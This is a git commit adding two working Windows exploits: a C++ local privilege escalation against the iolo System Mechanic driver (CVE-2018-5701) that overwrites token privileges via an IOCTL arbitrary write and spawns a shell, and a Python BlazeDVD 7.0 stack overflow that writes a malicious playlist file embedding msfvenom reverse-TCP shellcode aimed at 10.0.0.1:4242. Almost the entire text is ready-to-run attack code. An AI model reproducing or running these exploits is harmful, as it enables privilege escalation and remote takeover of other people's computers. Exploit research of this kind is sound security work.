WKE System Mechanic

This commit is contained in:
VoidSec
2021-03-31 00:18:27 +02:00
parent 2ad25f8bc9
commit 9666ca9b99
2 changed files with 276 additions and 0 deletions
@@ -0,0 +1,210 @@
/*
Exploit title: iolo System Mechanic Pro v. <= 15.5.0.61 - Arbitrary Write Local Privilege Escalation (LPE)
Exploit Authors: Federico Lagrasta aka last - https://blog.notso.pro/
Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
CVE: CVE-2018-5701
Date: 28/03/2021
Vendor Homepage: https://www.iolo.com/
Download: https://www.iolo.com/products/system-mechanic-ultimate-defense/
https://mega.nz/file/xJgz0QYA#zy0ynELGQG8L_VAFKQeTOK3b6hp4dka7QWKWal9Lo6E
Version: v.15.5.0.61
Tested on: Windows 10 Pro x64 v.1903 Build 18362.30
Category: local exploit
Platform: windows
*/
#include <iostream>
#include <windows.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <algorithm>
#define IOCTL_CODE 0x226003 // IOCTL_CODE value, used to reach the vulnerable function (taken from IDA)
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2
// define the buffer structure which will be sent to the vulnerable driver
typedef struct Exploit
{
uint32_t Field1_1; // must be 0x8 as this index will be used to calculate the address in a jump table and trigger the vulnerable function
uint32_t Field1_2; // "padding" can be anything
int *Field2; // must be a pointer that, once dereferenced, cotains 0
void *Field3; // points to the adrress that will be overwritten by 0xfffffffe - Arbitrary Write
};
// define a pointer to the native function 'NtQuerySystemInformation'
using pNtQuerySystemInformation = NTSTATUS(WINAPI *)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
// define the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
// define the SYSTEM_HANDLE_INFORMATION structure
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
int main(int argc, char **argv)
{
// open a handle to the device exposed by the driver - symlink is \\.\amp
HANDLE device = ::CreateFileW(
L"\\\\.\\amp",
GENERIC_WRITE | GENERIC_READ,
NULL,
nullptr,
OPEN_EXISTING,
NULL,
NULL);
if (device == INVALID_HANDLE_VALUE)
{
std::cout << "[!] Couldn't open handle to the System Mechanic driver. Error code: " << ::GetLastError() << std::endl;
return -1;
}
std::cout << "[+] Opened a handle to the System Mechanic driver!\n";
// resolve the address of NtQuerySystemInformation and assign it to a function pointer
pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation");
if (!NtQuerySystemInformation)
{
std::cout << "[!] Couldn't resolve NtQuerySystemInformation API. Error code: " << ::GetLastError() << std::endl;
return -1;
}
std::cout << "[+] Resolved NtQuerySystemInformation!\n";
// open the current process token - it will be used to retrieve its kernelspace address later
HANDLE currentProcess = ::GetCurrentProcess();
HANDLE currentToken = NULL;
bool success = ::OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, &currentToken);
if (!success)
{
std::cout << "[!] Couldn't open handle to the current process token. Error code: " << ::GetLastError() << std::endl;
return -1;
}
std::cout << "[+] Opened a handle to the current process token!\n";
// allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API
PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
// call NtQuerySystemInformation and fill the handleTableInformation structure
ULONG returnLength = 0;
NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength);
uint64_t tokenAddress = 0;
// iterate over the system's handle table and look for the handles beloging to our process
for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
// if it finds our process and the handle matches the current token handle we already opened, print it
if (handleInfo.UniqueProcessId == ::GetCurrentProcessId() && handleInfo.HandleValue == (USHORT)currentToken)
{
tokenAddress = (uint64_t)handleInfo.Object;
std::cout << "[+] Current token address in kernelspace is: 0x" << std::hex << tokenAddress << std::endl;
}
}
// allocate a variable set to 0
int field2 = 0;
/*
dt nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : Uint8B
+0x008 Enabled : Uint8B
+0x010 EnabledByDefault : Uint8B
We've added +1 to the offsets to ensure that the low bytes part are 0xff.
*/
// overwrite the _SEP_TOKEN_PRIVILEGES "Present" field in the current process token
Exploit exploit =
{
8,
0,
&field2,
(void *)(tokenAddress + 0x41)};
// overwrite the _SEP_TOKEN_PRIVILEGES "Enabled" field in the current process token
Exploit exploit2 =
{
8,
0,
&field2,
(void *)(tokenAddress + 0x49)};
// overwrite the _SEP_TOKEN_PRIVILEGES "EnabledByDefault" field in the current process token
Exploit exploit3 =
{
8,
0,
&field2,
(void *)(tokenAddress + 0x51)};
DWORD bytesReturned = 0;
success = DeviceIoControl(
device,
IOCTL_CODE,
&exploit,
sizeof(exploit),
nullptr,
0,
&bytesReturned,
nullptr);
if (!success)
{
std::cout << "[!] Couldn't overwrite current token 'Present' field. Error code: " << ::GetLastError() << std::endl;
return -1;
}
std::cout << "[+] Successfully overwritten current token 'Present' field!\n";
success = DeviceIoControl(
device,
IOCTL_CODE,
&exploit2,
sizeof(exploit2),
nullptr,
0,
&bytesReturned,
nullptr);
if (!success)
{
std::cout << "[!] Couldn't overwrite current token 'Enabled' field. Error code: " << ::GetLastError() << std::endl;
return -1;
}
std::cout << "[+] Successfully overwritten current token 'Enabled' field!\n";
success = DeviceIoControl(
device,
IOCTL_CODE,
&exploit3,
sizeof(exploit3),
nullptr,
0,
&bytesReturned,
nullptr);
if (!success)
{
std::cout << "[!] Couldn't overwrite current token 'EnabledByDefault' field. Error code:" << ::GetLastError() << std::endl;
return -1;
}
std::cout << "[+] Successfully overwritten current token 'EnabledByDefault' field!\n";
std::cout << "[+] Token privileges successfully overwritten!\n";
std::cout << "[+] Spawning a new shell with full privileges!\n";
system("cmd.exe");
return 0;
}
@@ -0,0 +1,66 @@
"""
Full title: BlazeDVD 7.0 Professional Local Stack Buffer Overflow
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Vendor Homepage: https://www.softwarezirkel.de/
Version: BlazeDVD 7.0 Professional
Tested on: Windows XP SP3
Category: local exploit
Platform: windows
"""
import sys
from struct import pack
# msfvenom --payload windows/shell/reverse_tcp LHOST="10.0.0.1" LPORT=4242 --arch x86 --platform windows --bad-chars '\x00\x0a\x1a' -f python EXITFUNC=seh -v shellcode --smallest
# Payload size: 1782 bytes
shellcode = b""
shellcode += b"\x6a\x4a\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81"
shellcode += b"\x73\x13\xb8\x04\x41\xb3\x83\xeb\xfc\xe2\xf4"
shellcode += b"\x44\xec\xce\xb3\xb8\x04\x21\x82\x6a\x60\xca"
shellcode += b"\xe1\x88\x8f\x13\xbf\x31\xe1\xca\xe1\xac\x8f"
shellcode += b"\x33\x9b\xb7\xb3\x0b\x95\x89\xfb\x70\x73\x14"
shellcode += b"\x38\x20\xcf\xba\x28\x61\x72\x77\x09\x40\x74"
shellcode += b"\xf1\x71\xae\xe1\xef\x8f\x13\xa3\x33\x46\x7d"
shellcode += b"\xb2\x68\x8f\x01\xcb\x3d\xc4\x35\xff\xb9\xd4"
shellcode += b"\x11\x38\xe0\x24\xca\xfb\xa0\x05\x92\x36\x71"
shellcode += b"\x70\x7d\x82\x47\x4d\xca\x87\x33\x05\x97\x82"
shellcode += b"\x78\xc5\x8e\xbe\x14\x05\x86\x8b\x58\x71\xb5"
shellcode += b"\xb0\xc5\xfc\x7a\xce\x9c\x71\xa1\xeb\x33\x5c"
shellcode += b"\x65\xb2\x6b\x62\xca\xbf\xf3\x8f\x19\xaf\xb9"
shellcode += b"\xd7\xca\xb7\x33\x05\x91\x3a\xfc\x20\x65\xe8"
shellcode += b"\xe3\x65\x18\xe9\xe9\xfb\xa1\xeb\xe7\x5e\xca"
shellcode += b"\xa1\x51\x84\xbe\x4c\x47\x59\x29\x80\x8a\x04"
shellcode += b"\x41\xdb\xcf\x77\x73\xec\xec\x6c\x0d\xc4\x9e"
shellcode += b"\x03\xc8\x5b\x47\xd4\xf9\x23\xb9\x04\x41\x9a"
shellcode += b"\x7c\x50\x11\xdb\x91\x84\x2a\xb3\x47\xd1\x2b"
shellcode += b"\xb9\xd0\x0e\x41\xb3\xb9\x6c\x43\xb3\xa8\x96"
shellcode += b"\xc8\x55\xe8\x54\x11\xe3\xf8\x54\x01\xe3\xd0"
shellcode += b"\xee\x4e\x6c\x58\xfb\x94\x24\xd2\x14\x17\xe4"
shellcode += b"\xd0\x9d\xe4\xc7\xd9\xfb\x94\x36\x78\x70\x4d"
shellcode += b"\x4c\xf6\x0c\x34\x5f\xd0\xf4\xf4\x11\xee\xfb"
shellcode += b"\x94\xd9\xb8\x6e\x45\xe5\xef\x6c\x43\x6a\x70"
shellcode += b"\x5b\xbe\x66\x33\x32\x2b\xf3\xd0\x04\x51\xb3"
shellcode += b"\xb8\x52\x2b\xb3\xd0\x5c\xe5\xe0\x5d\xfb\x94"
shellcode += b"\x20\xeb\x6e\x41\xe5\xeb\x53\x29\xb1\x61\xcc"
shellcode += b"\x1e\x4c\x6d\x05\x82\x9a\x7e\x71\xaf\x70"
def main():
filename = "poc.plf"
buf = "A" * 260 # junk
buf+= pack("<L",0x6401cc65) # return address - push esp # ret [MediaPlayerCtrl.dll]
buf+= "C" * 16 # junk
buf+= "\x90" * 20 # nop sled
buf+= shellcode # shellcode
buf+= "D" * (2000 - len(buf)) # junk
f = open(filename, 'wb')
f.write(buf)
f.close()
print "[+] %s file created!" % filename
return
if __name__ == "__main__":
main()